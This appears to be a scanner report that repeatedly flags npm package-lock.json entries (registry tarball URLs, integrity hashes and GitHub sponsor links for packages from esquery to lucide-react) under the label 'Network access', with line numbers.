    "version": "1.7.0",       "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz",       "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==",
  • Network accessline 2554
    "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz",
  • Network accessline 2565
    "node_modules/esrecurse": {       "version": "4.3.0",       "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
  • Network accessline 2566
    "version": "4.3.0",       "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",       "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
  • Network accessline 2567
    "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
  • Network accessline 2578
    "node_modules/estraverse": {       "version": "5.3.0",       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
  • Network accessline 2579
    "version": "5.3.0",       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",       "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
  • Network accessline 2580
    "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
  • Network accessline 2588
    "node_modules/esutils": {       "version": "2.0.3",       "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
  • Network accessline 2589
    "version": "2.0.3",       "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",       "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
  • Network accessline 2590
    "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
  • Network accessline 2598
    "node_modules/fast-deep-equal": {       "version": "3.1.3",       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
  • Network accessline 2599
    "version": "3.1.3",       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",       "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
  • Network accessline 2600
    "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
  • Network accessline 2605
    "node_modules/fast-glob": {       "version": "3.3.3",       "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz",
  • Network accessline 2606
    "version": "3.3.3",       "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz",       "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==",
  • Network accessline 2607
    "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz",
  • Network accessline 2622
    "node_modules/fast-glob/node_modules/glob-parent": {       "version": "5.1.2",       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
  • Network accessline 2623
    "version": "5.1.2",       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",       "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
  • Network accessline 2624
    "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
  • Network accessline 2635
    "node_modules/fast-json-stable-stringify": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
  • Network accessline 2636
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",       "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjC
  • Network accessline 2637
    "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
  • Network accessline 2642
    "node_modules/fast-levenshtein": {       "version": "2.0.6",       "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
  • Network accessline 2643
    "version": "2.0.6",       "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",       "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==",
  • Network accessline 2644
    "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
  • Network accessline 2649
    "node_modules/fastq": {       "version": "1.20.1",       "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz",
  • Network accessline 2650
    "version": "1.20.1",       "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz",       "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==",
  • Network accessline 2651
    "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz",
  • Network accessline 2659
    "node_modules/file-entry-cache": {       "version": "8.0.0",       "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz",
  • Network accessline 2660
    "version": "8.0.0",       "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz",       "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==",
  • Network accessline 2661
    "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz",
  • Network accessline 2672
    "node_modules/fill-range": {       "version": "7.1.1",       "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
  • Network accessline 2673
    "version": "7.1.1",       "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",       "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
  • Network accessline 2674
    "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
  • Network accessline 2685
    "node_modules/find-up": {       "version": "5.0.0",       "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
  • Network accessline 2686
    "version": "5.0.0",       "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",       "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
  • Network accessline 2687
    "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
  • Network accessline 2697
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2698
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 2699
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2702
    "node_modules/flat-cache": {       "version": "4.0.1",       "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz",
  • Network accessline 2703
    "version": "4.0.1",       "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz",       "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==",
  • Network accessline 2704
    "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz",
  • Network accessline 2716
    "node_modules/flatted": {       "version": "3.4.2",       "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz",
  • Network accessline 2717
    "version": "3.4.2",       "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz",       "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==",
  • Network accessline 2718
    "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz",
  • Network accessline 2723
    "node_modules/fraction.js": {       "version": "5.3.4",       "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz",
  • Network accessline 2724
    "version": "5.3.4",       "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz",       "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==",
  • Network accessline 2725
    "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz",
  • Network accessline 2732
    "funding": {         "type": "github",         "url": "https://github.com/sponsors/rawify"
  • Network accessline 2733
    "type": "github",         "url": "https://github.com/sponsors/rawify"       }
  • Network accessline 2734
    "url": "https://github.com/sponsors/rawify"
  • Network accessline 2737
    "node_modules/fsevents": {       "version": "2.3.3",       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
  • Network accessline 2738
    "version": "2.3.3",       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",       "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
  • Network accessline 2739
    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
  • Network accessline 2752
    "node_modules/function-bind": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
  • Network accessline 2753
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",       "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
  • Network accessline 2754
    "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
  • Network accessline 2757
    "license": "MIT",       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2758
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 2759
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2762
    "node_modules/gensync": {       "version": "1.0.0-beta.2",       "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
  • Network accessline 2763
    "version": "1.0.0-beta.2",       "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",       "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
  • Network accessline 2764
    "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
  • Network accessline 2772
    "node_modules/glob-parent": {       "version": "6.0.2",       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
  • Network accessline 2773
    "version": "6.0.2",       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",       "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
  • Network accessline 2774
    "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
  • Network accessline 2785
    "node_modules/globals": {       "version": "15.15.0",       "resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz",
  • Network accessline 2786
    "version": "15.15.0",       "resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz",       "integrity": "sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==",
  • Network accessline 2787
    "resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz",
  • Network accessline 2793
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2794
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 2795
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2798
    "node_modules/has-flag": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
  • Network accessline 2799
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",       "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
  • Network accessline 2800
    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
  • Network accessline 2808
    "node_modules/hasown": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
  • Network accessline 2809
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",       "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
  • Network accessline 2810
    "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
  • Network accessline 2821
    "node_modules/ignore": {       "version": "5.3.2",       "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
  • Network accessline 2822
    "version": "5.3.2",       "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",       "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==",
  • Network accessline 2823
    "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
  • Network accessline 2831
    "node_modules/import-fresh": {       "version": "3.3.1",       "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",
  • Network accessline 2832
    "version": "3.3.1",       "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",       "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==",
  • Network accessline 2833
    "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",
  • Network accessline 2843
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2844
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 2845
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 2848
    "node_modules/imurmurhash": {       "version": "0.1.4",       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
  • Network accessline 2849
    "version": "0.1.4",       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",       "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
  • Network accessline 2850
    "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
  • Network accessline 2858
    "node_modules/is-binary-path": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
  • Network accessline 2859
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",       "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
  • Network accessline 2860
    "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
  • Network accessline 2871
    "node_modules/is-core-module": {       "version": "2.16.1",       "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
  • Network accessline 2872
    "version": "2.16.1",       "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",       "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==",
  • Network accessline 2873
    "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
  • Network accessline 2882
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2883
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 2884
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2887
    "node_modules/is-extglob": {       "version": "2.1.1",       "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
  • Network accessline 2888
    "version": "2.1.1",       "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",       "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
  • Network accessline 2889
    "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
  • Network accessline 2897
    "node_modules/is-glob": {       "version": "4.0.3",       "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
  • Network accessline 2898
    "version": "4.0.3",       "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",       "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
  • Network accessline 2899
    "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
  • Network accessline 2910
    "node_modules/is-number": {       "version": "7.0.0",       "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
  • Network accessline 2911
    "version": "7.0.0",       "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",       "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
  • Network accessline 2912
    "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
  • Network accessline 2920
    "node_modules/isexe": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
  • Network accessline 2921
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",       "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
  • Network accessline 2922
    "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
  • Network accessline 2927
    "node_modules/jiti": {       "version": "1.21.7",       "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz",
  • Network accessline 2928
    "version": "1.21.7",       "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz",       "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==",
  • Network accessline 2929
    "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz",
  • Network accessline 2937
    "node_modules/js-tokens": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
  • Network accessline 2938
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",       "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
  • Network accessline 2939
    "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
  • Network accessline 2944
    "node_modules/js-yaml": {       "version": "4.1.1",       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
  • Network accessline 2945
    "version": "4.1.1",       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",       "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
  • Network accessline 2946
    "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
  • Network accessline 2957
    "node_modules/jsesc": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
  • Network accessline 2958
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",       "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
  • Network accessline 2959
    "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
  • Network accessline 2970
    "node_modules/json-buffer": {       "version": "3.0.1",       "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
  • Network accessline 2971
    "version": "3.0.1",       "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",       "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==",
  • Network accessline 2972
    "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
  • Network accessline 2977
    "node_modules/json-schema-traverse": {       "version": "0.4.1",       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
  • Network accessline 2978
    "version": "0.4.1",       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",       "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
  • Network accessline 2979
    "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
  • Network accessline 2984
    "node_modules/json-stable-stringify-without-jsonify": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
  • Network accessline 2985
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",       "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1
  • Network accessline 2986
    "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
  • Network accessline 2991
    "node_modules/json5": {       "version": "2.2.3",       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
  • Network accessline 2992
    "version": "2.2.3",       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",       "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
  • Network accessline 2993
    "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
  • Network accessline 3004
    "node_modules/keyv": {       "version": "4.5.4",       "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
  • Network accessline 3005
    "version": "4.5.4",       "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",       "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==",
  • Network accessline 3006
    "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
  • Network accessline 3014
    "node_modules/levn": {       "version": "0.4.1",       "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
  • Network accessline 3015
    "version": "0.4.1",       "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",       "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
  • Network accessline 3016
    "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
  • Network accessline 3028
    "node_modules/lilconfig": {       "version": "3.1.3",       "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
  • Network accessline 3029
    "version": "3.1.3",       "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",       "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
  • Network accessline 3030
    "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
  • Network accessline 3036
    },       "funding": {         "url": "https://github.com/sponsors/antonk52"
  • Network accessline 3037
    "funding": {         "url": "https://github.com/sponsors/antonk52"       }
  • Network accessline 3038
    "url": "https://github.com/sponsors/antonk52"
  • Network accessline 3041
    "node_modules/lines-and-columns": {       "version": "1.2.4",       "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
  • Network accessline 3042
    "version": "1.2.4",       "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",       "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
  • Network accessline 3043
    "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
  • Network accessline 3048
    "node_modules/locate-path": {       "version": "6.0.0",       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
  • Network accessline 3049
    "version": "6.0.0",       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",       "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
  • Network accessline 3050
    "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
  • Network accessline 3059
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3060
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 3061
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3064
    "node_modules/lodash.merge": {       "version": "4.6.2",       "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
  • Network accessline 3065
    "version": "4.6.2",       "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",       "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
  • Network accessline 3066
    "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
  • Network accessline 3071
    "node_modules/lru-cache": {       "version": "5.1.1",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
  • Network accessline 3072
    "version": "5.1.1",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",       "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
  • Network accessline 3073
    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
  • Network accessline 3081
    "node_modules/lucide-react": {       "version": "0.577.0",       "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.577.0.tgz",
  • Network accessline 3082
    "version": "0.577.0",       "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.577.0.tgz",       "integrity": "sha512-4LjoFv2eEPwYDPg/CUdBJQSDfPyzXCRrVW1X7jrx/trgxnxkHFjnVZINbzvzxjN70dxychOfg+FTYwBiS3pQ5A==",
  • Network accessline 3083
